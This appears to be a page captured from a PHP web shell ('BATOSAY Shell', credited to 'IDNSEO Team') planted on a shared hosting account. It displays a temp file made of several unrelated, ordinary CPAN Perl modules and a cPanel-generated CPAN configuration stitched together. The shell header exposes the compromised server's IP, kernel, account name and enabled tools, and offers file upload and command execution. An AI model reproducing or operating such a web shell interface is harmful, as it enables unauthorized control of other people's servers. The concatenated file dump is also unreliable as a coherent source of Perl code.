BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /tmp/phpguWfq7
package CPAN::Plugin;

use strict;
use warnings;

our $VERSION = '0.97';

require CPAN;

######################################################################

sub new {                                # ;
    my ($class, %params) = @_;

    my $self = +{
        (ref $class ? (%$class) : ()),
        %params,
    };

    $self = bless $self, ref $class ? ref $class : $class;

    unless (ref $class) {
        local $_;
        no warnings 'once';
        $CPAN::META->use_inst ($_) for $self->plugin_requires;
    }

    $self;
}

######################################################################
sub plugin_requires {                    # ;
}

######################################################################
sub distribution_object {                # ;
    my ($self) = @_;
    $self->{distribution_object};
}

######################################################################
sub distribution {                       # ;
    my ($self) = @_;

    my $distribution = $self->distribution_object->id;
    CPAN::Shell->expand("Distribution",$distribution)
      or $self->frontend->mydie("Unknowns distribution '$distribution'\n");
}

######################################################################
sub distribution_info {                  # ;
    my ($self) = @_;

    CPAN::DistnameInfo->new ($self->distribution->id);
}

######################################################################
sub build_dir {                          # ;
    my ($self) = @_;

    my $build_dir = $self->distribution->{build_dir}
      or $self->frontend->mydie("Distribution has not been built yet, cannot proceed");
}

######################################################################
sub is_xs {                              #
    my ($self) = @_;

    my @xs = glob File::Spec->catfile ($self->build_dir, '*.xs'); # quick try

    unless (@xs) {
        require ExtUtils::Manifest;
        my $manifest_file = File::Spec->catfile ($self->build_dir, "MANIFEST");
        my $manifest = ExtUtils::Manifest::maniread($manifest_file);
        @xs = grep /\.xs$/, keys %$manifest;
    }

    scalar @xs;
}

######################################################################

package CPAN::Plugin;

1;

__END__

=pod

=head1 NAME

CPAN::Plugin - Base class for CPAN shell extensions

=head1 SYNOPSIS

   package CPAN::Plugin::Flurb;
   use parent 'CPAN::Plugin';

   sub post_test {
     my ($self, $distribution_object) = @_;
     $self = $self->new (distribution_object => $distribution_object);
     ...;
   }

=head1 DESCRIPTION

=head2 Alpha Status

The plugin system in the CPAN shell was introduced in version 2.07 and
is still considered experimental.

=head2 How Plugins work?

See L<CPAN/"Plugin support">.

=head1 METHODS

=head2 plugin_requires

returns list of packages given plugin requires for functionality.
This list is evaluated using C<< CPAN->use_inst >> method.

=head2 distribution_object

Get current distribution object.

=head2 distribution

=head2 distribution_info

=head2 build_dir

Simple delegatees for misc parameters derived from distribution

=head2 is_xs

Predicate to detect whether package contains XS.

=head1 AUTHOR

Branislav Zahradnik <barney@cpan.org>

=cut

# This CPAN::Config was automatically generated using /usr/local/cpanel/scripts/cpan_config
# at Tue Mar 31 00:54:04 2020
#
# If this Config.pm replaced an existing version, then it would be located at:
#     /usr/share/perl5/CPAN/Config.pm.1585616044


# This is CPAN.pm's systemwide configuration file. This file provides
# defaults for users, and the values can be changed in a per-user
# configuration file.

$CPAN::Config = {
  'auto_commit' => q[1],
  'build_cache' => q[10],
  'build_dir' => q[/home/.cpan/build],
  'cache_metadata' => q[1],
  'connect_to_internet_ok' => q[no],
  'cpan_home' => q[/home/.cpan],
  'dontload_hash' => {  },
  'ftp' => q[/bin/false],
  'ftp_proxy' => q[],
  'getcwd' => q[cwd],
  'gzip' => q[/bin/gzip],
  'histfile' => q[/home/.cpan/histfile],
  'histsize' => q[100],
  'http_proxy' => q[],
  'inactivity_timeout' => q[310],
  'index_expire' => q[1],
  'inhibit_startup_message' => q[1],
  'keep_source_where' => q[/home/.cpan/sources],
  'lynx' => q[],
  'make' => q[/usr/bin/gmake],
  'make_arg' => q[],
  'make_install_arg' => q[UNINST=1],
  'makepl_arg' => q[],
  'mbuild_arg' => q[],
  'mbuild_install_arg' => q[],
  'mbuild_install_build_command' => q[./Build],
  'mbuildpl_arg' => q[],
  'ncftpget' => q[],
  'no_proxy' => q[],
  'pager' => q[/usr/bin/less],
  'prefer_installer' => q[EUMM],
  'prerequisites_policy' => q[follow],
  'scan_cache' => q[atstart],
  'shell' => q[/bin/bash],
  'tar' => q[/usr/bin/gtar],
  'term_is_latin' => q[1],
  'unzip' => q[/usr/bin/unzip],
  'urllist' => [q[http://cpan.mirrors.tds.net//], q[http://cpan.mirrors.hoobly.com//], q[http://cpan.mirror.constant.com//], q[http://CPAN.mirror.rafal.ca//], q[http://cpan.mirrors.ovh.net/ftp.cpan.org//], q[http://184.94.196.93/pub/CPAN/], q[http://208.100.0.204/pub/CPAN/], q[http://208.109.109.239/pub/CPAN/], q[http://mirror.uoregon.edu/CPAN//], q[http://cpan.mirrors.ionfish.org//], q[http://mirrors.evowise.com/CPAN//], q[http://mirror.funkfreundelandshut.de/cpan//], q[http://mirrors.m247.ro/CPAN//], q[http://mirrors.netix.net/CPAN//], q[http://mirror.is.co.za/pub/cpan//], q[http://www.cpan.org.ua//], q[http://mirrors.namecheap.com/CPAN//], q[http://mirror.rasanegar.com/CPAN//], q[http://cpan.excellmedia.net//], q[http://httpupdate118.cpanel.net/CPAN//], q[http://ftp.acc.umu.se/mirror/CPAN//], q[http://ftp.nluug.nl/languages/perl/CPAN//], q[http://ftp.litnet.lt/pub/CPAN//], q[http://artfiles.org/cpan.org//], q[http://mirror.serverbeheren.nl/CPAN//], q[http://cpan.metacpan.org//], q[http://mirrors.sonic.net/cpan//], q[http://cpan.develooper.com//], q[http://mirror.easyname.at/cpan//], q[http://cpan.cpantesters.org//], q[http://mirror.liquidtelecom.com/CPAN//], q[http://ftp.cc.uoc.gr/mirrors/CPAN//], q[http://mirror.cogentco.com/pub/CPAN//], q[http://mirrors.ustc.edu.cn/CPAN//], q[http://mirror.yandex.ru/mirrors/cpan//], q[http://cpan.panu.it//], q[http://mirror.neostrada.nl/cpan//], q[http://mirror.nyi.net/CPAN//], q[http://204.10.37.146/pub/CPAN/], q[http://cpan.mirror.anlx.net//], q[http://mirrors.hostingromania.ro/cpan.org//], q[http://cpan.inspire.net.nz//], q[http://cpan.hostiran.ir//], q[http://mirror.biznetgio.com/cpan//], q[http://mirror.rol.ru/CPAN//], q[http://mirror.transip.net/CPAN//], q[http://mirrors.nxthost.com/CPAN//], q[http://mirror.dkm.cz/cpan//], q[http://mirror.datacenter.by/pub/CPAN//], q[http://cpan.hoovism-http.com//], q[http://66.71.244.18/pub/CPAN/], q[http://cpan.zbr.pt//], q[http://cpan.mirror.ac.za//], q[http://cpan.webdesk.ru//], q[http://mirror-hk.koddos.net/CPAN//], q[http://mirror.23media.de/cpan//], q[http://cpan.ulak.net.tr//], q[http://mirror.navercorp.com/CPAN//], q[http://mirror.its.dal.ca/cpan//], q[http://mirror.lzu.edu.cn/CPAN//], q[http://www.perl.com/CPAN//], q[http://cpan.llarian.net//], q[http://cpan.stu.edu.tw//], q[http://mirrors.rit.edu/CPAN//], q[http://mirror.intergrid.com.au/cpan//], q[http://ftp.tudelft.nl/cpan//], q[http://mirror.bibleonline.ru/cpan//], q[http://ftp.yzu.edu.tw/CPAN//], q[http://66.23.237.210/pub/CPAN/], q[http://mirror.de.leaseweb.net/CPAN//], q[http://mirror.ox.ac.uk/sites/www.cpan.org//], q[http://ftp.igh.cnrs.fr/pub/CPAN//], q[http://mirror.low-orbit.net/pub/cpan//], q[http://159.253.142.50/pub/CPAN/], q[http://cpan.mirror.colo-serv.net//], q[http://ftp-stud.hs-esslingen.de/pub/Mirrors/CPAN//], q[http://sunsite.icm.edu.pl/pub/CPAN//], q[http://cpan.inode.at//], q[http://mirror.ps.kz/CPAN//], q[http://mirror.jre655.com/CPAN//], q[http://cpan.melbourneitmirror.net//], q[http://osl.ugr.es/CPAN//], q[http://cpan-mirror.rbc.ru/pub/CPAN//], q[http://lib.ugent.be/CPAN//], q[http://mirror.softaculous.com/cpan//], q[http://cpan.mirror.digitalpacific.com.au//], q[http://mirror.bytemark.co.uk/CPAN//], q[http://ftp.yz.yamagata-u.ac.jp/pub/lang/cpan//], q[http://cpan.mirror.choon.net//], q[http://cpan.saix.net//], q[http://cpan.nctu.edu.tw//], q[http://mirror.csclub.uwaterloo.ca/CPAN//], q[http://cpan.dcc.uchile.cl//], q[http://mirror.waia.asn.au/pub/cpan//], q[http://espejito.fder.edu.uy/cpan//], q[http://mirrors.163.com/cpan//], q[http://ftp.jaist.ac.jp/pub/CPAN//], q[http://63.247.66.98/pub/CPAN/], q[http://94.75.231.77/pub/CPAN/], q[http://mirror.netcologne.de/cpan//], q[http://ftp.cuhk.edu.hk/pub/packages/perl/CPAN//], q[http://mirror.nbtelecom.com.br/CPAN//], q[http://cpan.etla.org//], q[http://mirror.datapipe.net/CPAN//], q[http://mirror.sov.uk.goscomb.net/CPAN//], q[http://ftp.arnes.si/software/perl/CPAN//], q[http://cpan.catalyst.net.nz/CPAN//], q[http://ftp.lip6.fr/pub/perl/CPAN//], q[http://mirrors.dotsrc.org/cpan//], q[http://ftp.ntua.gr/pub/lang/perl//], q[http://linorg.usp.br/CPAN//], q[http://ftp.byfly.by/pub/CPAN//], q[http://www.mirrorservice.org/sites/cpan.perl.org/CPAN//], q[http://122.201.72.171/pub/CPAN/], q[http://69.73.140.17/pub/CPAN/], q[http://mirror.truenetwork.ru/CPAN//], q[http://184.94.196.92/pub/CPAN/], q[http://cpan.pair.com//], q[http://ftp.kr.freebsd.org/pub/CPAN//], q[http://cpan.pesat.net.id//], q[http://mirror.pop-sc.rnp.br/CPAN//], q[http://ftp.hosteurope.de/pub/CPAN//], q[http://cpan.lagoon.nc/pub/CPAN//], q[http://httpupdate127.cpanel.net/CPAN//], q[http://184.94.196.94/pub/CPAN/], q[http://cpan.mirror.cdnetworks.com//], q[http://186.227.195.180/pub/CPAN/], q[http://www.pirbot.com/mirrors/cpan//], q[http://mirror.team-cymru.org/CPAN//], q[http://74.50.120.123/pub/CPAN/], q[http://mirror.ibcp.fr/pub/CPAN//], q[http://mirror.pregi.net/CPAN//], q[http://www.planet-elektronik.de/CPAN//], q[http://mirror.uic.edu/CPAN//], q[http://mirrors.neusoft.edu.cn/cpan//], q[http://searchcpan.org/CPAN//], q[http://mirrors.syringanetworks.net/CPAN//], q[http://ftp.agh.edu.pl/CPAN//], q[http://67.227.128.74/pub/CPAN/], q[http://mirror.cedia.org.ec/CPAN//], q[http://mirror.rise.ph/cpan//], q[http://cpan.mines-albi.fr//], q[http://mirrors.nic.cz/CPAN//], q[http://mirror.sax.uk.as61049.net/CPAN//], q[http://download.xs4all.nl/CPAN//], q[http://ftp.osuosl.org/pub/CPAN//], q[http://cpan.mmgdesigns.com.ar//], q[http://cpan.cs.utah.edu//], q[http://cpan.mirror.serversaustralia.com.au//], q[http://cpan.mirrors.uk2.net//], q[http://208.43.129.162/pub/CPAN/], q[http://cpan.ip-connect.vn.ua//], q[http://bo.mirror.garr.it/mirrors/CPAN//], q[http://103.252.152.1/pub/CPAN/], q[http://206.130.99.76/pub/CPAN/], q[http://ftp.belnet.be/mirror/ftp.cpan.org//], q[http://mirrors.xservers.ro/CPAN//], q[http://ftp.heanet.ie/mirrors/ftp.perl.org/pub/CPAN//], q[http://cpan.rinet.ru//], q[http://mirror.amberit.com.bd/CPAN//], q[http://ftp.halifax.rwth-aachen.de/cpan//], q[http://ftp.wayne.edu/CPAN//], q[http://ftp.nara.wide.ad.jp/pub/CPAN//], q[http://mirror.optusnet.com.au/CPAN//], q[http://mirror.met.hu/CPAN//], q[http://mirrors.neterra.net/CPAN//], q[http://cpan.mirror.ba//], q[http://mirrors.gossamer-threads.com/CPAN//], q[http://cpan.noris.de//], q[http://cpan.cdpa.nsysu.edu.tw/Unix/Lang/CPAN//], q[http://mirror.sbb.rs/CPAN//], q[http://mirrors.linux-bulgaria.org/cpan//], q[http://mirror.0x.sg/CPAN//], q[http://cpan.perl.pt//], q[http://mirror.teklinks.com/CPAN//], q[http://cpan.lnx.sk//], q[http://ftp.gwdg.de/pub/languages/perl/CPAN//], q[http://mirror.metrocast.net/cpan//], q[http://mirror.nl.leaseweb.net/CPAN//], q[http://mirrors.digipower.vn/CPAN//], q[http://cpan.mirror.iphh.net//], q[http://www.namesdir.com/mirrors/cpan//], q[http://ftp.carnet.hr/pub/CPAN//], q[http://mirror.webtastix.net/CPAN//], q[http://mirror.host.ag/CPAN//], q[http://ftp.lug.ro/CPAN//], q[http://mirror.ucu.ac.ug/cpan//], q[http://cpan.mirror.triple-it.nl//], q[http://cpan.tetaneutral.net//], q[http://kartolo.sby.datautama.net.id/CPAN//], q[http://cpan.cs.uu.nl//], q[http://67.205.110.4/pub/CPAN/], q[http://mirror.koddos.net/CPAN//], q[http://cpan.uib.no//], q[http://mirrors.up.pt/CPAN//], q[http://mirror.yer.az/CPAN//], q[http://mirror.checkdomain.de/CPAN//], q[http://70.87.220.252/pub/CPAN/], q[http://ftp.rediris.es/mirror/CPAN//], q[http://mirror.downloadvn.com/cpan//], q[http://ftp.riken.jp/lang/CPAN//], q[http://mirrors-usa.go-parts.com/cpan//], q[http://mirrors.ucr.ac.cr/CPAN//], q[http://ftp.ubuntu-tw.org/mirror/CPAN//], q[http://mirror.cc.columbia.edu/pub/software/cpan//], q[http://mirror.kumi.systems/cpan//], q[http://mirrors.ibiblio.org/CPAN//], q[http://cpan.uni-altai.ru//], q[http://mirrors.coreix.net/CPAN//], q[http://tux.rainside.sk/CPAN//], q[http://mirrors.nav.ro/CPAN//], q[http://mirror.bhoovd.com/CPAN//], q[http://mirror.as43289.net/pub/CPAN//]],
  'use_sqlite' => q[0],
  'wget' => q[/bin/false],
};
1;
__END__
package CPAN::Admin;
use base CPAN;
use CPAN; # old base.pm did not load CPAN on previous line
use strict;
use vars qw(@EXPORT $VERSION);
use constant PAUSE_IP => "pause.perl.org";

@EXPORT = qw(shell);
$VERSION = "5.501";
push @CPAN::Complete::COMMANDS, qw(register modsearch);
$CPAN::Shell::COLOR_REGISTERED = 1;

sub shell {
    CPAN::shell($_[0]||"admin's cpan> ",$_[1]);
}

sub CPAN::Shell::register {
    my($self,$mod,@rest) = @_;
    unless ($mod) {
        print "register called without argument\n";
        return;
    }
    if ($CPAN::META->has_inst("URI::Escape")) {
        require URI::Escape;
    } else {
        print "register requires URI::Escape installed, otherwise it cannot work\n";
        return;
    }
    print "Got request for mod[$mod]\n";
    if (@rest) {
        my $modline = join " ", $mod, @rest;
        print "Sending to PAUSE [$modline]\n";
        my $emodline = URI::Escape::uri_escape($modline, '^\w ');
        $emodline =~ s/ /+/g;
        my $url =
            sprintf("https://%s/pause/authenquery?pause99_add_mod_modid=".
                    "%s;SUBMIT_pause99_add_mod_hint=hint",
                    PAUSE_IP,
                    $emodline,
                   );
        print "url[$url]\n\n";
        print ">>>>Trying to open a netscape window<<<<\n";
        sleep 1;
        system("netscape","-remote","openURL($url)");
        return;
    }
    my $m = CPAN::Shell->expand("Module",$mod);
    unless (ref $m) {
        print "Could not determine the object for $mod\n";
        return;
    }
    my $id = $m->id;
    print "Found module id[$id] in database\n";

    if (exists $m->{RO} && $m->{RO}{chapterid}) {
        print "$id is already registered\n";
        return;
    }

    my(@namespace) = split /::/, $id;
    my $rootns = $namespace[0];

    # Tk, XML and Apache need special treatment
    if ($rootns=~/^(Bundle)\b/) {
        print "Bundles are not yet ready for registering\n";
        return;
    }

    # make a good suggestion for the chapter
    my(@simile) = CPAN::Shell->expand("Module","/^$rootns(:|\$)/");
    print "Found within this namespace ", join(", ", map { $_->id } @simile), "\n";
    my(%seench);
    for my $ch (map { exists $_->{RO} ? $_->{RO}{chapterid} : ""} @simile) {
        next unless $ch;
        $seench{$ch}=undef;
    }
    my(@seench) = sort grep {length($_)} keys %seench;
    my $reco_ch = "";
    if (@seench>1) {
        print "Found rootnamespace[$rootns] in the chapters [", join(", ", @seench), "]\n";
        $reco_ch = $seench[0];
        print "Picking $reco_ch\n";
    } elsif (@seench==1) {
        print "Found rootnamespace[$rootns] in the chapter[$seench[0]]\n";
        $reco_ch = $seench[0];
    } else {
        print "The new rootnamespace[$rootns] needs to be introduced. Oh well.\n";
    }

    # Look closer at the dist
    my $d = CPAN::Shell->expand("Distribution", $m->cpan_file);
    printf "Module comes with dist[%s]\n", $d->id;
    for my $contm ($d->containsmods) {
        if ($CPAN::META->exists("CPAN::Module",$contm)) {
            my $contm_obj = CPAN::Shell->expand("Module",$contm) or next;
            my $is_reg = exists $contm_obj->{RO} && $contm_obj->{RO}{description};
            printf(" in same dist: %s%s\n",
                   $contm,
                   $is_reg ? " already in modulelist" : "",
                  );
        }
    }

    # get it so that m is better and we can inspect for XS
    CPAN::Shell->get($id);
    CPAN::Shell->m($id);
    CPAN::Shell->d($d->id);

    my $has_xs = 0;
    {
        my($mani,@mani);
        local $/ = "\n";
        open $mani, "$d->{build_dir}/MANIFEST" and @mani = <$mani>;
        my @xs = grep /\.xs\b/, @mani;
        if (@xs) {
            print "Found XS files: @xs";
            $has_xs=1;
        }
    }
    my $emodid = URI::Escape::uri_escape($id, '\W');
    my $ech = $reco_ch;
    $ech =~ s/ /+/g;
    my $description = $m->{MANPAGE} || "";
    $description =~ s/[A-Z]<//; # POD markup (and maybe more)
    $description =~ s/^\s+//; # leading spaces
    $description =~ s/>//; # POD
    $description =~ s/^\Q$id\E//; # usually this line starts with the modid
    $description =~ s/^[ \-]+//; # leading spaces and dashes
    substr($description,44) = "" if length($description)>44;
    $description = ucfirst($description);
    my $edescription = URI::Escape::uri_escape($description, '^\w ');
    $edescription =~ s/ /+/g;
    my $url =
        sprintf("https://%s/pause/authenquery?pause99_add_mod_modid=".
                "%s;pause99_add_mod_chapterid=%s;pause99_add_mod_statd=%s;".
                "pause99_add_mod_stats=%s;pause99_add_mod_statl=%s;".
                "pause99_add_mod_stati=%s;pause99_add_mod_description=%s;".
                "pause99_add_mod_userid=%s;SUBMIT_pause99_add_mod_preview=preview",
                PAUSE_IP,
                $emodid,
                $ech,
                "R",
                "d",
                $has_xs ? "c" : "p",
                "O",
                $edescription,
                $m->{RO}{CPAN_USERID},
               );
    print "$url\n\n";
    print ">>>>Trying to open a netscape window<<<<\n";
    system("netscape","-remote","openURL($url)");
}

sub CPAN::Shell::modsearch {
    my($self,@line) = @_;
    unless (@line) {
        print "modsearch called without argument\n";
        return;
    }
    my $request = join " ", @line;
    print "Got request[$request]\n";
    my $erequest = URI::Escape::uri_escape($request, '^\w ');
    $erequest =~ s/ /+/g;
    my $url =
        sprintf("http://www.xray.mpe.mpg.de/cgi-bin/w3glimpse/modules?query=%s".
                "&errors=0&case=on&maxfiles=100&maxlines=30",
                $erequest,
               );
    print "$url\n\n";
    print ">>>>Trying to open a netscape window<<<<\n";
    system("netscape","-remote","openURL('$url')");
}

1;

__END__

=head1 NAME

 CPAN::Admin - A CPAN Shell for CPAN admins

=head1 SYNOPSIS

 perl -MCPAN::Admin -e shell

=head1 STATUS

Note: this module is currently not maintained. If you need it and fix
it for your needs, please submit patches.

=head1 DESCRIPTION

CPAN::Admin is a subclass of CPAN that adds the commands C<register>
and C<modsearch> to the CPAN shell.

C<register> calls C<get> on the named module, assembles a couple of
informations (description, language), and calls Netscape with the
-remote argument so that a form is filled with all the assembled
informations and the registration can be performed with a single
click. If the command line has more than one argument, register does
not run a C<get>, instead it interprets the rest of the line as DSLI
status, description, and userid and sends them to netscape such that
the form is again mostly filled and can be edited or confirmed with a
single click. CPAN::Admin never performs the submission click for you,
it is only intended to fill in the form on PAUSE and leave the
confirmation to you.

C<modsearch> simply passes the arguments to the search engine for the
modules@perl.org mailing list at L<http://www.xray.mpe.mpg.de> where all
registration requests are stored. It does so in the same way as
register, namely with the C<netscape -remote> command.

An experimental feature has also been added, namely to color already
registered modules in listings. If you have L<Term::ANSIColor> installed,
the u, r, and m commands will show already registered modules in
green.

=head1 PREREQUISITES

L<URI::Escape>, a browser available in the path, the browser must
understand the -remote switch (as far as I know, this is only
available on UNIX); coloring of registered modules is only available
if L<Term::ANSIColor> is installed.

=head1 LICENSE

This program is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=cut
=head1 NAME

CPAN::Plugin::Specfile - Proof of concept implementation of a trivial CPAN::Plugin

=head1 SYNOPSIS

  # once in the cpan shell
  o conf plugin_list push CPAN::Plugin::Specfile

  # make permanent
  o conf commit

  # any time in the cpan shell to write a spec file
  test Acme::Meta

  # disable
  # if it is the last in plugin_list:
  o conf plugin_list pop
  # otherwise, determine the index to splice:
  o conf plugin_list
  # and then use splice, e.g. to splice position 3:
  o conf plugin_list splice 3 1

=head1 DESCRIPTION

Implemented as a post-test hook, this plugin writes a specfile after
every successful test run. The content is also written to the
terminal.

As a side effect, the timestamps of the written specfiles reflect the
linear order of all dependencies.

B<WARNING:> This code is just a small demo how to use the plugin
system of the CPAN shell, not a full fledged spec file writer. Do not
expect new features in this plugin.

=head2 OPTIONS

The target directory to store the spec files in can be set using C<dir>
as in

  o conf plugin_list push CPAN::Plugin::Specfile=dir,/tmp/specfiles-000042

The default directory for this is the
C<plugins/CPAN::Plugin::Specfile> directory in the I<cpan_home>
directory.

=head1 AUTHOR

Andreas Koenig <andk@cpan.org>, Branislav Zahradnik <barney@cpan.org>

=cut

package CPAN::Plugin::Specfile;

our $VERSION = '0.02';

use File::Path;
use File::Spec;

sub __accessor {
    my ($class, $key) = @_;
    no strict 'refs';
    *{$class . '::' . $key} = sub {
        my $self = shift;
        if (@_) {
            $self->{$key} = shift;
        }
        return $self->{$key};
    };
}
BEGIN { __PACKAGE__->__accessor($_) for qw(dir dir_default) }

sub new {
    my($class, @rest) = @_;
    my $self = bless {}, $class;
    while (my($arg,$val) = splice @rest, 0, 2) {
        $self->$arg($val);
    }
    $self->dir_default(File::Spec->catdir($CPAN::Config->{cpan_home},"plugins",__PACKAGE__));
    $self;
}

sub post_test {
    my $self = shift;
    my $distribution_object = shift;
    my $distribution = $distribution_object->pretty_id;
    unless ($CPAN::META->has_inst("CPAN::DistnameInfo")){
        $CPAN::Frontend->mydie("CPAN::DistnameInfo not installed; cannot continue");
    }
    my $d = CPAN::Shell->expand("Distribution",$distribution)
        or $CPAN::Frontend->mydie("Unknowns distribution '$distribution'\n");
    my $build_dir = $d->{build_dir} or $CPAN::Frontend->mydie("Distribution has not been built yet, cannot proceed");
    my %contains = map {($_ => undef)} $d->containsmods;
    my @m;
    my $width = 16;
    my $header = sub {
        my($header,$value) = @_;
        push @m, sprintf("%-s:%*s%s\n", $header, $width-length($header), "", $value);
    };
    my $dni = CPAN::DistnameInfo->new($distribution);
    my $dist = $dni->dist;
    my $summary = CPAN::Shell->_guess_manpage($d,\%contains,$dist);
    $header->("Name", "perl-$dist");
    my $version = $dni->version;
    $header->("Version", $version);
    $header->("Release", "1%{?dist}");
#Summary:        Template processing system
#Group:          Development/Libraries
#License:        GPL+ or Artistic
#URL:            http://www.template-toolkit.org/
#Source0:        http://search.cpan.org/CPAN/authors/id/A/AB/ABW/Template-Toolkit-%{version}.tar.gz
#Patch0:         Template-2.22-SREZIC-01.patch
#BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
    for my $h_tuple
        ([Summary    => $summary],
         [Group      => "Development/Libraries"],
         [License    =>],
         [URL        =>],
         [BuildRoot  => "%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)"],
         [Requires   => "perl(:MODULE_COMPAT_%(eval \"`%{__perl} -V:version`\"; echo \$version))"],
        ) {
        my($h,$v) = @$h_tuple;
        $v = "unknown" unless defined $v;
        $header->($h, $v);
    }
    $header->("Source0", sprintf(
                                 "http://search.cpan.org/CPAN/authors/id/%s/%s/%s",
                                 substr($distribution,0,1),
                                 substr($distribution,0,2),
                                 $distribution
                                ));
    require POSIX;
    my @xs = glob "$build_dir/*.xs"; # quick try
    unless (@xs) {
        require ExtUtils::Manifest;
        my $manifest_file = "$build_dir/MANIFEST";
        my $manifest = ExtUtils::Manifest::maniread($manifest_file);
        @xs = grep /\.xs$/, keys %$manifest;
    }
    if (! @xs) {
        $header->('BuildArch', 'noarch');
    }
    for my $k (sort keys %contains) {
        my $m = CPAN::Shell->expand("Module",$k);
        my $v = $contains{$k} = $m->cpan_version;
        my $vspec = $v eq "undef" ? "" : " = $v";
        $header->("Provides", "perl($k)$vspec");
    }
    if (my $prereq_pm = $d->{prereq_pm}) {
        my %req;
        for my $reqkey (keys %$prereq_pm) {
            while (my($k,$v) = each %{$prereq_pm->{$reqkey}}) {
                $req{$k} = $v;
            }
        }
        if (-e "$build_dir/Build.PL" && ! exists $req{"Module::Build"}) {
            $req{"Module::Build"} = 0;
        }
        for my $k (sort keys %req) {
            next if $k eq "perl";
            my $v = $req{$k};
            my $vspec = defined $v && length $v && $v > 0 ? " >= $v" : "";
            $header->(BuildRequires => "perl($k)$vspec");
            next if $k =~ /^(Module::Build)$/; # MB is always only a
                                               # BuildRequires; if we
                                               # turn it into a
                                               # Requires, then we
                                               # would have to make it
                                               # a BuildRequires
                                               # everywhere we depend
                                               # on *one* MB built
                                               # module.
            $header->(Requires => "perl($k)$vspec");
        }
    }
    push @m, "\n%define _use_internal_dependency_generator     0
%define __find_requires %{nil}
%define __find_provides %{nil}
";
    push @m, "\n%description\n%{summary}.\n";
    push @m, "\n%prep\n%setup -q -n $dist-%{version}\n";
    if (-e "$build_dir/Build.PL") {
        # see http://www.redhat.com/archives/rpm-list/2002-July/msg00110.html about RPM_BUILD_ROOT vs %{buildroot}
        push @m, <<'EOF';

%build
%{__perl} Build.PL --installdirs=vendor --libdoc installvendorman3dir
./Build

%install
rm -rf $RPM_BUILD_ROOT
./Build install destdir=$RPM_BUILD_ROOT create_packlist=0
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;
%{_fixperms} $RPM_BUILD_ROOT/*

%check
./Build test
EOF
    } elsif (-e "$build_dir/Makefile.PL") {
        push @m, <<'EOF';

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make pure_install DESTDIR=$RPM_BUILD_ROOT
find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null ';'
%{_fixperms} $RPM_BUILD_ROOT/*

%check
make test
EOF
    } else {
        $CPAN::Frontend->mydie("'$distribution' has neither a Build.PL nor a Makefile.PL\n");
    }
    push @m, "\n%clean\nrm -rf \$RPM_BUILD_ROOT\n";
    my $vendorlib = @xs ? "vendorarch" : "vendorlib";
    my $date = POSIX::strftime("%a %b %d %Y", gmtime);
    my @doc = grep { -e "$build_dir/$_" } qw(README Changes);
    my $exe_stanza = "\n";
    if (my $exe_files = $d->_exe_files) {
        if (@$exe_files) {
            $exe_stanza = "%{_mandir}/man1/*.1*\n";
            for my $e (@$exe_files) {
                unless (CPAN->has_inst("File::Basename")) {
                    $CPAN::Frontend->mydie("File::Basename not installed, cannot continue");
                }
                my $basename = File::Basename::basename($e);
                $exe_stanza .= "/usr/bin/$basename\n";
            }
        }
    }
    push @m, <<EOF;

%files
%defattr(-,root,root,-)
%doc @doc
%{perl_$vendorlib}/*
%{_mandir}/man3/*.3*
$exe_stanza
%changelog
* $date  <specfile\@specfile.cpan.org> - $version-1
- autogenerated by CPAN::Plugin::Specfile()

EOF

    my $ret = join "", @m;
    $CPAN::Frontend->myprint($ret);
    my $target_dir = $self->dir || $self->dir_default;
    File::Path::mkpath($target_dir);
    my $outfile = File::Spec->catfile($target_dir, "perl-$dist.spec");
    open my $specout, ">", $outfile
        or $CPAN::Frontend->mydie("Could not open >$outfile: $!");
    print $specout $ret;
    $CPAN::Frontend->myprint("Wrote $outfile");
    $ret;
}

1;

Batosay - 2023
IDNSEO Team